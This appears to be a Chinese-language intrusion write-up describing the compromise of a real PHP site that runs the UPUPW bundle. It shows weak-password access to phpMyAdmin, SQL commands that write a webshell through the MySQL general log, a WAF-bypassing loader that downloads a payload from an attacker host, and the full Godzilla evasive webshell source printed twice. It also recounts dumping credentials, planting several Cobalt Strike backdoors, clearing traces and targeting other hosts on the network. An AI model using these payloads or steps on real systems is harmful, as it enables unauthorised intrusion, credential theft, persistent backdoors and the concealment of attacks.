確定目標
收集信息
x.x.x.x
首先常規測試方法一頓懟,目錄掃描,端口掃描,js文件,中間件,指紋識別,反正該上的都上。。。。
隨手加個路徑,報錯了,當看到這個界面我瞬間就有思路了
為什么這么說呢,因為之前我就碰見過這樣的網站報錯, 這是一個php集成環境,叫upupw,跟phpstudy是一樣的
upupw --> pmd
phpstudy --> phpmyadmin
突破點
這個集成環境包也有個phpinfo的頁面,跟數據庫管理界面
u.php
測試一下弱口令
root/root
連接成功后就可以看到phpinfo的頁面
好了現在問題變成phpmyadmin拿shell
getshell
三步拿shell
set global general_log='on';
SET global general_log_file='D:/xxxx/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';
當執行第三步的時候頁面 卡在執行中。。。沒有反應 瞬間感覺不對,可能存在waf
換了個免殺馬試試,先寫到txt里邊看看成否成功
沒有任何問題,下面直接寫入php文件
可以寫入,直接去連接shell
果然有waf,當時寫入的時候就感覺到了,不免殺的shell,sql語句執行不了
繞過waf
懟了半天都不知道是什么鬼waf,用下載文件試試
為了避免攔截php代碼的waf,我這里遠程下載的腳本是利用JavaScript轉寫php
SET global general_log_file='C:/Users/Administrator/Desktop/UPUPW_AP5.5_64/htdocs/11.php';
SELECT '<script language="php"> $a="http://x.x.x.x:81/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>'
訪問11.php 就會生成shell.php
這里的shell也是用了哥斯拉的免殺shell
<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[$i+1&15];
}
return $D;
}
function Q($D){
return base64_encode($D);
}
function O($D){
return base64_decode($D);
}
$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a';
if (isset($_POST[$P])){
$F=O(E(O($_POST[$P]),$T));
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p."");}}
$R=new C();
$R->nvoke($A[0]);
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);
}else{
$_SESSION[$V]=$F;
}
}
嘗試了這么多次
進程里沒有waf進程
權限是system
脫源碼
上傳抓密碼工具,直接獲取管理密碼,登上服務器
留后門,清理痕跡
多留幾個后門,萬一被刪
這個網段還有這么多機器
源碼
總結:
1.信息收集,目錄掃描,端口掃描,JS文件敏感文件掃描,中間件掃描,指紋識別無任何可利用信息
2.通過在網址后加入錯誤路徑,報錯信息“為找到,法海不懂愛,頁面顯示不出來”,該系統是php集成環境upupw
3.該環境有個叫phpinfo的文件為u.php,輸入弱口令root/root,可直接進入phpmyadmin,同時可查看phpinfo的信息,暴露出網站的絕對路徑為D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/
4.phpmyadmin通過寫入日志獲取shell
set global general_log='on';
SET global general_log_file='D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';
5.可直接寫入一句話,但是連接shell,被WAF攔截
6.通過遠程下載的腳本是利用JavaScript轉寫php繞過WAF(360webscan)
SET global general_log_file='D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/11.php';
SELECT '<script language="php"> $a="http://x.x.x.x:81/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>'
7.訪問11.php 就會生成shell.php
shell.txt:
<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[$i+1&15];
}
return $D;
}
function Q($D){
return base64_encode($D);
}
function O($D){
return base64_decode($D);
}
$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a';
if (isset($_POST[$P])){
$F=O(E(O($_POST[$P]),$T));
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p."");}}
$R=new C();
$R->nvoke($A[0]);
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);
}else{
$_SESSION[$V]=$F;
}
}
8.通過格拉斯連接shell,然后查看進程tasklist,並無殺毒軟件,查看權限whoami,是system權限
9.上傳 hash抓取本地密碼,可抓取windows本地用戶名和密碼
10.上傳cs的生成的后門文件,並執行。
11.下載源碼,發現WAF使用的360webscan